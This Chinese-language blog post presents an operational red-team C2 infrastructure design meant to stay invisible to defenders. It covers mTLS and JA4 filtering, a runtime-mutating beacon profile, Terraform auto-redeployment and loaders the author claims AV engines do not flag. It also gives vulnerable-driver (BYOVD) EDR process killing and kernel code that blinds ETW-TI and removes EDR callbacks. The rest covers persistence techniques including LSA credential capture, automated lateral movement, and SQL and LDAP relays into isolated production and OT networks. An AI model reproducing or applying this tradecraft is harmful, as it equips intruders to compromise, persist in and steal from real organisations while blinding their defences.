高级 C2 基础设施:隐匿与自动化

6 min read

从零信任通信架构到内核级 EDR 致盲,一套完整的红队 C2 基础设施工程化实现。涵盖 Profile 运行时变异、隔离网段多协议穿透、横向编排引擎等对抗细节。

C2 基础设施的工程化实践。核心目标:一条命令部署全套 C2IP 被封秒级切换VPS 对外零端口暴露全链路免杀蓝队不可探测、不可溯源


0x01 Zero-Trust 通信架构

整套架构的设计原则:数据面和管理面完全隔离,VPS 对公网零暴露

                     ┌─────────────────────────────────────────┐
                     │         Zero-Trust C2 Stack             │
                     ├─────────────────────────────────────────┤
   L5  Auth Layer     │  mTLS 双向认证 + TOTP 令牌轮转            │
                     ├─────────────────────────────────────────┤
   L4  CDN Layer      │  Anycast CDN (源站 IP 完全隐藏)          │
                     ├─────────────────────────────────────────┤
   L3  Tunnel Layer   │  加密反向隧道 (入站端口 = 0)             │
                     ├─────────────────────────────────────────┤
   L2  Filter Layer   │  JA4 + Header + ASN + URI 多维鉴权       │
                     ├─────────────────────────────────────────┤
   L1  Mesh Layer     │  WireGuard Mesh 管理面隔离               │
                     └─────────────────────────────────────────┘

五层纵深,每一层独立鉴权,任何一层被突破不影响其他层。

L5 层 mTLS 认证是核心。Beacon 编译时客户端证书直接打进二进制,没有合法证书的连接在 TLS 握手阶段就被 RST。蓝队拿到域名去 curl、nuclei 扫——连 HTTP 响应都拿不到:

func (f *Interceptor) validateInbound(conn net.Conn) {
    tlsConn := tls.Server(conn, &tls.Config{
        ClientAuth: tls.RequireAndVerifyClientCert,
        ClientCAs:  f.certPool,
        MinVersion: tls.VersionTLS13,
    })

    if err := tlsConn.Handshake(); err != nil {
        // 无合法证书 → RST,零字节响应
        conn.Close()
        f.stats.rejected.Add(1)
        return
    }

    // mTLS 通过后校验 JA4 指纹
    fingerprint := deriveJA4(tlsConn.ConnectionState())
    if !f.allowlist.Contains(fingerprint) {
        conn.Close()
        return
    }

    f.proxy.Forward(tlsConn)
}

L2 层过滤做了多维鉴权:Host header 精确匹配、URI 路径匹配当前 Profile 周期、UA 白名单、源 IP ASN 不在威胁情报黑名单内。任一条件不满足,302 到一个真实合法站点——不是 403,蓝队看到的是一个完全正常的网站。

L1 层 WireGuard Mesh 隔离管理面。TeamServer 管理端口绑定在 Mesh IP 上,公网完全不可见。操作员通过 Mesh 网络连接,走独立加密通道。

Shodan 扫这台 VPS,结果是 “no open ports”。从外部看就是一个空壳。


0x02 运行时 Profile 变异引擎

静态 Profile 本质上是给蓝队送规则。社区的 jquery.profile、amazon.profile 签名早被拉了,你自定义的 Profile 被蓝队抓到一次流量,下次就废了。

我做了运行时变异引擎——不是部署时随机一次,是 Beacon 跑起来后每隔 N 次通信自动切换整套通信特征。Beacon 和服务端共享 CSPRNG 种子,同步派生参数:

typedef struct _PROFILE_CTX {
    uint8_t   seed[32];
    uint32_t  epoch;
    uint32_t  interval;
    char      uri[256];
    char      ua[512];
    uint32_t  sleep_ms;
    uint8_t   session_key[16];
} PROFILE_CTX;

void mutate(PROFILE_CTX *ctx) {
    ctx->epoch++;
    if (ctx->epoch % ctx->interval != 0) return;

    // 从共享种子派生本轮参数
    derive_params(ctx->seed, ctx->epoch, ctx);

    // URI 从合法 SaaS 流量模板池选择
    static const char *pool[] = {
        "/v1.0/me/drive/items",      // Cloud Storage
        "/api/v2/spans",             // APM trace
        "/_/scs/abc-static",         // CDN static
        "/collect?v=2",              // Analytics
        "/api/v1/query_range",       // Metrics
    };

    ctx->sleep_ms = 5000 + (derive_u32(ctx) % 115000);
}

蓝队第一天抓到的流量特征,第二天就变了。没有种子就没法预测下一轮变异。服务端双缓冲同步——同时维护当前和下一轮 Profile,两个都尝试匹配,解决窗口期丢包问题。


0x03 IaC 全自动化部署

整个部署流程一条命令完成。从裸 VPS 到 Beacon 可上线,全自动化,约 3 分钟。

Terraform 做 VPS 生命周期管理,密码全部自动生成,没有人工干预:

resource "cloud_instance" "node" {
  region = var.region
  plan   = var.plan
  os     = "ubuntu-lts"

  user_data = base64encode(templatefile("init.yaml", {
    auth_token   = random_password.auth.result
    tunnel_token = var.tunnel_token
    mesh_key     = var.mesh_key
    profile_seed = random_password.seed.result
  }))
}

部署脚本内部做了完整编排:依赖安装 → 环境清理 → 证书签发 → Profile 随机生成+自动校验 → 隧道建立 → 过滤层部署 → TeamServer 配置 → Mesh 网络加入 → 服务按序启动 → 全链路验证。

每次部署自动差异化——Profile 模板从多套模板池随机选择,URI、User-Agent、Sleep、Jitter 全随机。所有密码、密钥部署时生成。两次部署之间没有任何可关联的静态特征。

Profile 安全加固:Stage 自清理、内存混淆、禁止 RWX 页、PE 头清零、Sleep 期间内存加密、注入最小分配 16KB、post-ex 进程伪装。


0x04 秒级迁移与自愈

IP 被封不是问题。迁移脚本支持四种模式:

  • quick: Terraform taint → 自动重建 VPS。Beacon 连的是 CDN 域名不是 IP,隧道一重连流量自动走新路径。Beacon 不需要重新上线,约 20 秒。
  • full: 备份会话数据 → 销毁旧 VPS → 部署新 VPS → 恢复数据。全量迁移约 3 分钟。
  • backup/restore: 手动控制,适合跨供应商迁移。

全链路诊断工具自动检查 9 个维度:本地环境 → SSH 连通 → 服务状态 → 端口监听 → 隧道配置 → 过滤规则 → 逐跳连通性 → 密钥同步 → 日志异常。失败项直接附带修复命令。


0x05 全链路免杀体系

这是整套方案投入时间最多的部分。不是单个工具免杀,是 从 Beacon 生成到后渗透操作全链路免杀

Beacon 免杀

Beacon 生成后经过多层处理:

  1. Artifact Kit 定制 — 加载器从头写的,不是默认的 artifact.cna。IAT 混淆、延迟解析、syscall 动态获取。
  2. Sleep Mask Kit — Sleep 期间 Beacon 内存加密,EDR 内存扫描时看到的是一堆噪音。
  3. Resource Kit — PowerShell / HTA / VBA 投递模板全部定制,特征全换。
  4. Process Inject Kit — 注入方式定制,不走默认的 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 这种教科书级别的组合。
  5. UDRL (User Defined Reflective Loader) — 反射加载器定制,加载行为和默认完全不同。

效果:生成的 Beacon 裸上线,VT 全绿。不需要套壳加壳那些花活。

后渗透全 BOF 化

后渗透操作全部 BOF 化。所有凭据操作、横向移动、信息收集——全部是编译好的 BOF 模块,Beacon 进程内执行,不落地、不创建新进程。

覆盖渗透全流程——凭据提取、信息收集、横向移动、持久化、EDR 处理,每个模块独立编译,体积控制在几十 KB 以内。全部 beacon_inline_execute 内存执行,不创建新进程,不落地文件。

关键点:传统工具的大体积 DLL/EXE 签名已经被 yara 规则收录得差不多了。拆成独立 BOF 模块后,每个就十几到几十 KB,内存扫描无签名匹配。这不是绕过,是从根本上消除特征。


0x06 BYOVD EDR 处理

BYOVD 不是新东西,但大多数实现都很粗糙——落地个 EXE,加载驱动,杀完进程一堆痕迹。

我的实现是 全 BOF 内存执行,驱动数据作为参数传进 BOF,不需要事先上传 EXE:

执行流程:
  1. BOF 接收驱动数据 (参数传入,不落地文件)
  2. 写入临时路径 (驱动必须在磁盘,但存活窗口 <500ms)
  3. SCM 创建临时服务加载驱动
  4. IOCTL 枚举+终结目标 EDR 进程
  5. 卸载驱动 + 删除服务 + 清理文件
  6. BOF 返回

内置多种漏洞驱动,按目标环境自动选择最佳方案:

  • 支持 HVCI 环境 (Win11 安全核心)
  • 支持 旧版本系统 (Win7-Win10)
  • 覆盖国内外主流 AV/EDR 厂商
  • 部分驱动利用 2024-2025 年 CVE
  • 支持基于 PID 和进程名两种终结方式

右键菜单一键执行,自动检测目标环境选择最优驱动。


0x07 九种持久化技术

持久化做了完整的覆盖——从用户级到 SYSTEM 级,从注册表到内核,从常规到 APT 级别:

级别       技术                      权限要求    触发方式           检出难度
─────────────────────────────────────────────────────────────────────────────
User      COM CLSID 劫持             无需Admin   应用启动时         极低 ★
User      TypeLib COM 劫持 (APT28)   无需Admin   Office 打开时      极低 ★
User      App Paths 劫持             无需Admin   ShellExecute       低
User      Run Key (HKCU)             无需Admin   登录时             中
User      启动目录快捷方式            无需Admin   登录时             中
─────────────────────────────────────────────────────────────────────────────
Admin     计划任务                    Admin       定时/登录/启动     中
Admin     服务创建                    Admin       启动时             中
Admin     WMI 事件订阅                Admin       事件触发           中低
─────────────────────────────────────────────────────────────────────────────
SYSTEM    Print Monitor DLL          SYSTEM      Spooler 启动时     极低 ★
SYSTEM    Time Provider DLL          SYSTEM      W32Time 启动时     极低 ★
SYSTEM    LSA Security Package       SYSTEM      开机时 lsass 加载  极低 ★
SYSTEM    Netsh Helper DLL           SYSTEM      netsh 调用时       低
SYSTEM    SilentProcessExit          Admin       目标进程退出时     低
SYSTEM    IFEO Debugger              Admin       目标进程启动时     中

重点说几个:

TypeLib COM 劫持 — APT28 用过的手法。劫持 Office 应用的 CLSID TypeLib 路径,用户打开 Word/Excel 时自动加载 payload。写入的是 HKCU,不需要管理员权限,不需要提权。Autoruns 默认不检查这个位置。

Print Monitor DLL — 注册到 Print Spooler 的 Monitor 列表,系统启动时 Spooler 服务自动加载。DLL 以 SYSTEM 权限运行。安全工具很少检查这个注册表路径。

LSA Security Package — DLL 被 lsass.exe 加载,开机自动运行,还能顺便截获明文凭据。因为是 lsass 加载的,EDR 对这个进程的 DLL 加载行为容忍度很高。

每种技术都做了配套的安装、查询、移除命令。操作员选择最适合目标环境的方式就行。


0x08 内核级 EDR 致盲

BYOVD 杀进程是治标,有些 EDR 架构做了自保——进程杀了自动重启。要根治得从内核往下打,逐级致盲。

ETW-TI 致盲

干掉内核态的 ETW Threat Intelligence Provider——Windows Defender 和主流 EDR 的核心数据源。定位 EtwpRegistrationTable 中 TI Provider 的 GuidEntry,清零 IsEnabled:

NTSTATUS BlindThreatIntel() {
    PVOID base = GetKernelBase();
    PVOID regTable = SigScan(base,
        "\x48\x8B\x05\x00\x00\x00\x00\x48\x85\xC0\x74",
        "xxx????xxxx");
    if (!regTable) return STATUS_NOT_FOUND;

    PETWP_REG_ENTRY entry = FindProviderByGuid(regTable, &TI_GUID);
    if (!entry) return STATUS_NOT_FOUND;

    entry->GuidEntry->EnableInfo.IsEnabled = 0;
    entry->GuidEntry->EnableInfo.Level = 0;
    entry->GuidEntry->EnableInfo.MatchAnyKeyword = 0;
    return STATUS_SUCCESS;
}

内核回调摘除

PspCreateProcessNotifyRoutine 数组里 EDR 注册的回调还在监控进程创建。遍历 64 个槽位,判断回调地址所属驱动,EDR 的替换成空函数:

NTSTATUS StripCallbacks() {
    PVOID array = LocateNotifyArray();
    for (int i = 0; i < 64; i++) {
        PVOID slot = READ_SLOT(array, i);
        if (!slot) continue;
        PEX_CALLBACK_BLOCK blk = UNMASK(slot);
        UNICODE_STRING drv;
        if (GetDriverFromAddr(blk->Function, &drv) && IsEDR(&drv))
            blk->Function = NopStub;
    }
    return STATUS_SUCCESS;
}

ETW 盲掉 + 回调摘掉 + BYOVD 终结进程,三管齐下。整个流程在一个 BOF 链里跑完。


0x09 进程行为伪装与横向编排

时间感知进程选择

rundll32.exe 凌晨 3 点发 HTTPS 请求,不需要高级检测就知道有问题。进程选择引擎根据当前时间动态决定注入目标——工作时间注入 Teams/Outlook/Edge,夜间注入 SearchIndexer/RuntimeBroker。创建进程用 PPID Spoofing 伪造父进程为 Explorer,加 BLOCK_NON_MICROSOFT_BINARIES 阻止 EDR 钩子 DLL 注入。

自适应 Sleep

基于用户活跃度动态调整回连间隔——GetLastInputInfo 检测键鼠活动。用户活跃时短间隔混入正常流量,用户离开后拉长到 5-15 分钟减少暴露面。

横向移动编排引擎

横向不是单点操作,做了完整编排:

凭据验证 → 端口探测 → 方式自动选择 → 执行 → 确认上线 → 清理痕迹

自动降级链:
  WinRM (5985) → WMI (135) → PsExec (445) → DCOM → SCM

批量横向: 多目标并行,失败自动跳过+记录

操作员不需要关心目标开了什么端口,引擎自动探测、自动选择最优方式。PsExec 失败自动 fallback WMI,WMI 失败自动 fallback WinRM。全程自动清理——远程服务、计划任务创建完就删。


0x0A 隔离网段穿透

目标核心数据库在完全隔离的网段,不能出网,和办公网之间只有一条 SQL 连接。TCP 不通、SMB 不通、DNS 不通。

但 1433 通。

两边各跑一个 relay agent,通过读写 SQL 表做数据交换。防火墙看到的是正常的 SELECTINSERT。DBA 看到 tempdb 里多了张临时表,重启就没了。NDR 看到的流量和正常业务查询无差异。

域内的 LDAP 通道类似——通过读写 AD 对象的自定义属性做中继,流量就是标准 LDAP。

最长链路: 四跳,三个隔离网段

C2 Server ← SaaS HTTPS
DMZ 跳板 ← LDAP 属性读写 (域控中继)
办公网运维机 ← MSSQL 表读写 (1433 中继)
生产网 App Server ← SMB 文件读写 (文件中继)
OT 网络工程站

从任何单一网段的监控视角看,流量都是无异常的。

0x0B 总结

维度常见方案这套方案
源站隐藏VPS 直连CDN + 反向隧道 + 零端口暴露
认证mTLS + JA4 + Header + ASN 多层
C2 指纹静态 Profile运行时 CSPRNG 变异引擎
Beacon 免杀加壳加载器+反射+Sleep 全定制,VT 全绿
后渗透传统工具全 BOF 化,内存执行,零落地
EDRntdll unhook多驱动 BYOVD + ETW致盲 + Callback摘除
持久化Run Key十余种技术,APT级 COM/LSA/内核回调
进程行为固定目标时间感知 + PPID Spoof + BlockDLL
横向手动编排引擎 + 自动降级 + 批量 + 自动清理
隔离穿透不支持多协议隧道穿透隔离网段
部署小时级手动IaC 一键部署 + 秒级迁移
诊断人工排查全链路自动诊断

体系对抗,不是单点突破。从 payload 生成到后渗透到数据回传,每个环节都自动化、都有对抗、都可复现。